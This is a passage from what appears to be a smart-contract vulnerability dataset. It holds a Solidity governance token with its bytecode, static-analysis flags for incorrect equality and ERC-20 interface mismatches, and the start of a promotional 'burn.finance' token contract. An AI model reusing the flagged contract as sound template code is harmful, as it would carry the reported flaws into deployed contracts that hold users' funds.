if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
/** ========== internal mutative functions ========== */
/**
* @notice burn token and decrease user's votes
* @param src The address of the account burning token
* @param rawAmount The amount of burning token
*/
function _burn(address src, uint256 rawAmount) internal returns (bool) {
require(src != address(0), "_burn: burn from the zero address");
uint128 amount = safe128(rawAmount, "_burn: amount exceeds 128 bits");
balances[src] = sub128(balances[src], amount, "_burn: burn amount exceeds balance");
_totalSupply = sub128(_totalSupply, amount, "_burn: all token have been burnt");
_moveDelegates(delegates[src], address(0), amount);
emit Transfer(src, address(0), amount);
return true;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint128 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint128 amount) internal {
require(src != address(0), "_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "_transferTokens: cannot transfer to the zero address");
balances[src] = sub128(balances[src], amount, "_transferTokens: transfer amount exceeds balance");
balances[dst] = add128(balances[dst], amount, "_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint128 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint128 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint128 srcRepNew = sub128(srcRepOld, amount, "_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint128 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint128 dstRepNew = add128(dstRepOld, amount, "_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint128 oldVotes, uint128 newVotes) internal {
uint32 blockNumber = safe32(block.number, "_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe128(uint n, string memory errorMessage) internal pure returns (uint128) {
require(n < 2**128, errorMessage);
return uint128(n);
}
function add128(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) {
uint128 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub128(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
|
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146106c0578063b4b5ea5714610726578063c3cda520146107a2578063dd62ed3e1461081b578063e7a324dc146108b7578063f1127ed8146108d557610137565b806370a08231146104a1578063782d6fe1146104f957806379cc67901461057f5780637ecebe00146105e557806395d89b411461063d57610137565b8063313ce567116100ff578063313ce5671461030b57806342966c681461032f578063587cde1e146103755780635c19a95c146103f95780636fcfff451461043d57610137565b806306fdde031461013c578063095ea7b3146101bf57806318160ddd1461022557806320606b701461026757806323b872dd14610285575b600080fd5b610144610974565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020b600480360360408110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ad565b604051808215151515815260200191505060405180910390f35b61022d610b77565b60405180826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61026f610b9c565b6040518082815260200191505060405180910390f35b6102f16004803603606081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bb8565b604051808215151515815260200191505060405180910390f35b610313610e8f565b604051808260ff1660ff16815260200191505060405180910390f35b61035b6004803603602081101561034557600080fd5b8101908080359060200190929190505050610e94565b604051808215151515815260200191505060405180910390f35b6103b76004803603602081101561038b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f70565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61043b6004803603602081101561040f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fa3565b005b61047f6004803603602081101561045357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fb0565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b6104e3600480360360208110156104b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd3565b6040518082815260200191505060405180910390f35b6105456004803603604081101561050f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061104a565b60405180826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105cb6004803603604081101561059557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611487565b604051808215151515815260200191505060405180910390f35b610627600480360360208110156105fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611648565b6040518082815260200191505060405180910390f35b610645611660565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561068557808201518184015260208101905061066a565b50505050905090810190601f1680156106b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61070c600480360360408110156106d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611699565b604051808215151515815260200191505060405180910390f35b6107686004803603602081101561073c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116d6565b60405180826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610819600480360360c08110156107b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff16906020019092919080359060200190929190803590602001909291905050506117c8565b005b61087d6004803603604081101561083157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bd0565b60405180826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108bf611c73565b6040518082815260200191505060405180910390f35b610927600480360360408110156108eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff169060200190929190505050611c8f565b604051808363ffffffff1663ffffffff168152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6040518060400160405280600981526020017f447261676f6e44414f000000000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831415610a00577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9050610a42565b610a3f836040518060400160405280602081526020017f617070726f76653a20616d6f756e742065786365656473203132382062697473815250611cec565b90505b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405180826fffffffffffffffffffffffffffffffff16815260200191505060405180910390a3600191505092915050565b60008060009054906101000a90046fffffffffffffffffffffffffffffffff16905090565b6040518080613084604391396043019050604051809103902081565b6000803390506000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046fffffffffffffffffffffffffffffffff1690506000610c9c856040518060400160405280602081526020017f617070726f76653a20616d6f756e742065786365656473203132382062697473815250611cec565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610d1e57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6fffffffffffffffffffffffffffffffff16826fffffffffffffffffffffffffffffffff1614155b15610e76576000610d48838360405180606001604052806037815260200161302c60379139611db3565b905080600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405180826fffffffffffffffffffffffffffffffff16815260200191505060405180910390a3505b610e81878783611e91565b600193505050509392505050565b601281565b600080610ed6836040518060400160405280601e81526020017f5f6275726e3a20616d6f756e7420657863656564732031323820626974730000815250611cec565b9050610ef433826fffffffffffffffffffffffffffffffff166122c8565b610f66576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6275726e3a206661696c20746f206275726e000000000000000000000000000081525060200191505060405180910390fd5b6001915050919050565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610fad3382612607565b50565b60056020528060005260406000206000915054906101000a900463ffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b60004382106110a4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612fe16021913960400191505060405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415611111576000915050611481565b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161161121757600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046fffffffffffffffffffffffffffffffff16915050611481565b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115611298576000915050611481565b600080905060006001830390505b8163ffffffff168163ffffffff1611156113ff576000600283830363ffffffff16816112ce57fe5b04820390506112db612fae565b600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681525050905086816000015163ffffffff1614156113d757806020015195505050505050611481565b86816000015163ffffffff1610156113f1578193506113f8565b6001820392505b50506112a6565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046fffffffffffffffffffffffffffffffff1693505050505b92915050565b6000806114c9836040518060400160405280601e81526020017f5f6275726e3a20616d6f756e7420657863656564732031323820626974730000815250611cec565b905060006114f96114da8633611bd0565b8360405180606001604052806024815260200161312d60249139611db3565b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506115ca85836fffffffffffffffffffffffffffffffff166122c8565b61163c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6275726e3a206661696c20746f206275726e000000000000000000000000000081525060200191505060405180910390fd5b60019250505092915050565b60066020528060005260406000206000915090505481565b6040518060400160405280600381526020017f434849000000000000000000000000000000000000000000000000000000000081525081565b6000806116be8360405180606001604052806021815260200161306360219139611cec565b90506116cb338583611e91565b600191505092915050565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16116117405760006117c0565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046fffffffffffffffffffffffffffffffff165b915050919050565b6000604051808061308460439139604301905060405180910390206040518060400160405280600981526020017f447261676f6e44414f0000000000000000000000000000000000000000000000815250805190602001206118286127cb565b30604051602001808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405160208183030381529060405280519060200120905060006040518080613218603a9139603a0190506040518091039020888888604051602001808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019450505050506040516020818303038152906040528051906020012090506000828260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa1580156119d3573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f64656c656761746542795369673a20696e76616c6964207369676e617475726581525060200191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611b44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f64656c656761746542795369673a20696e76616c6964206e6f6e63650000000081525060200191505060405180910390fd5b87421115611bba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f64656c656761746542795369673a207369676e6174757265206578706972656481525060200191505060405180910390fd5b611bc4818b612607565b50505050505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046fffffffffffffffffffffffffffffffff16905092915050565b6040518080613218603a9139603a019050604051809103902081565b6004602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046fffffffffffffffffffffffffffffffff16905082565b600070010000000000000000000000000000000083108290611da9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d6e578082015181840152602081019050611d53565b50505050905090810190601f168015611d9b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082905092915050565b6000836fffffffffffffffffffffffffffffffff16836fffffffffffffffffffffffffffffffff1611158290611e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e49578082015181840152602081019050611e2e565b50505050905090810190601f168015611e765780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f17576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806130c76036913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806131516034913960400191505060405180910390fd5b61201b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046fffffffffffffffffffffffffffffffff16826040518060600160405280603081526020016130fd60309139611db3565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555061210e600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046fffffffffffffffffffffffffffffffff16826040518060600160405280602a8152602001613002602a91396127d8565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405180826fffffffffffffffffffffffffffffffff16815260200191505060405180910390a36122c3600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836128bb565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561234f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806131d56021913960400191505060405180910390fd5b6000612390836040518060400160405280601e81526020017f5f6275726e3a20616d6f756e7420657863656564732031323820626974730000815250611cec565b9050612410600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046fffffffffffffffffffffffffffffffff16826040518060600160405280602281526020016131b360229139611db3565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506124e26000809054906101000a90046fffffffffffffffffffffffffffffffff16826040518060400160405280602081526020017f5f6275726e3a20616c6c20746f6b656e2068617665206265656e206275726e74815250611db3565b6000806101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550612584600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000836128bb565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405180826fffffffffffffffffffffffffffffffff16815260200191505060405180910390a3600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046fffffffffffffffffffffffffffffffff16905082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46127c58284836128bb565b50505050565b6000804690508091505090565b6000808385019050846fffffffffffffffffffffffffffffffff16816fffffffffffffffffffffffffffffffff16101583906128af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612874578082015181840152602081019050612859565b50505050905090810190601f1680156128a15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561290957506000816fffffffffffffffffffffffffffffffff16115b15612bbd57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612a65576000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116129ac576000612a2c565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046fffffffffffffffffffffffffffffffff165b90506000612a5382856040518060600160405280602281526020016131f660229139611db3565b9050612a6186848484612bc2565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612bbc576000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611612b03576000612b83565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046fffffffffffffffffffffffffffffffff165b90506000612baa8285604051806060016040528060218152602001613252602191396127d8565b9050612bb885848484612bc2565b5050505b5b505050565b6000612be6436040518060600160405280602e8152602001613185602e9139612ef3565b905060008463ffffffff16118015612c7b57508063ffffffff16600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15612d1e5781600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550612e72565b60405180604001604052808263ffffffff168152602001836fffffffffffffffffffffffffffffffff16815250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555090505060018401600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405180836fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff1681526020019250505060405180910390a25050505050565b600064010000000083108290612fa4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612f69578082015181840152602081019050612f4e565b50505050905090810190601f168015612f965780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006fffffffffffffffffffffffffffffffff168152509056fe6765745072696f72566f7465733a206e6f74207965742064657465726d696e65645f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77737472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63657472616e736665723a20616d6f756e742065786365656473203132382062697473454950373132446f6d61696e28737472696e67206e616d652c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e7472616374295f7472616e73666572546f6b656e733a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f20616464726573735f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e63655f7472616e73666572546f6b656e733a2063616e6e6f74207472616e7366657220746f20746865207a65726f20616464726573735f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974735f6275726e3a206275726e20616d6f756e7420657863656564732062616c616e63655f6275726e3a206275726e2066726f6d20746865207a65726f20616464726573735f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f777344656c65676174696f6e28616464726573732064656c6567617465652c75696e74323536206e6f6e63652c75696e7432353620657870697279295f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a265627a7a723158205112c0d6bdba95a9769f6ba102b7d4b8196f9aef70eb9ed5a7347b14733c7fd564736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 8,450 |
0x735a75dc5dce7ea8eadd1bc400b435cf4247f160
|
pragma solidity ^0.6.6;
/**
*"SPDX-License-Identifier: MIT"
*burn.finance Token Contract source code
* https://t.me/burnfinancecommunity
* burn.finance $BURN token is a new deflationary DeFi farming protocol that aims to borrow from the best parts of PRIA and Sushi protocols to create true value for its users.
* a fair launch was conducted on Uniswap 25/10/2020
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
